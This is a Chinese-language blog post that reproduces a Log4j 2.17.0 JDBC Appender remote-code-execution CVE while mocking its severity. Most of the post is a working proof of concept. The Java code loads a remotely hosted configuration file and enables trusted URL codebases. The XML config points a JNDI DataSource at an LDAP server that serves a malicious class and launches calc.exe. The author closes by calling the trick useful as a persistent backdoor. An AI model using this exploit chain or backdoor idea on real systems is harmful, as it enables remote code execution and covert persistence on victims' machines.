先說一句,這傻x洞能給cve就離譜,大半夜給人喊起來浪費時間看了一個小時。
先說利用條件:
需要加載“特定”的配置文件信息,或者說實際利用中需要能夠修改配置文件(你都能替換配置文件了,還要啥log4j啊)。
然后因為log4j2.17.0已經實際上默認關閉了jndi的使用,還需要對方真的手動打開這個配置才能執行。
實際上約等於本地彈彈計算器的漏洞。
真的能隨便改配置文件,我估計大佬們灑灑水,幾十個RCE沒啥問題。
代碼直接用了發現者給的:
原文鏈接
import java.util.*;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class log4j {
static {
System.setProperty("log4j2.configurationFile","http://127.0.0.1:8888/config.xml");
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
}
private static final Logger logger = LogManager.getLogger(log4j.class);
public static void main(String[] args) {
}
}
需要遠程加載配置文件,python啟動一個http服務,配置文件內容如下:
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="error">
<Appenders>
<JDBC name="databaseAppender" tableName="dbo.application_log">
<DataSource jndiName="ldap://127.0.0.1:1389/Basic/Command/calc.exe" />
<!--手動替換的配置文件里,通過jndi獲取遠程數據源,加載惡意類-->
<Column name="eventDate" isEventTimestamp="true" />
<Column name="level" pattern="%level" />
<Column name="logger" pattern="%logger" />
<Column name="message" pattern="%message" />
<Column name="exception" pattern="%ex{full}" />
</JDBC>
</Appenders>
<Loggers>
<Root level="warn">
<AppenderRef ref="databaseAppender"/>
</Root>
</Loggers>
</Configuration>
成功彈了計算器:
debug過程
org.apache.logging.log4j.core.appender.db.jdbc.FactoryMethodConnectionSource(createConnectionSource)
從這往里F7
最后用Twitter上老外的一句話結尾:
不過有一說一,事后想一想,作為一個持久化的后門還算有點意義。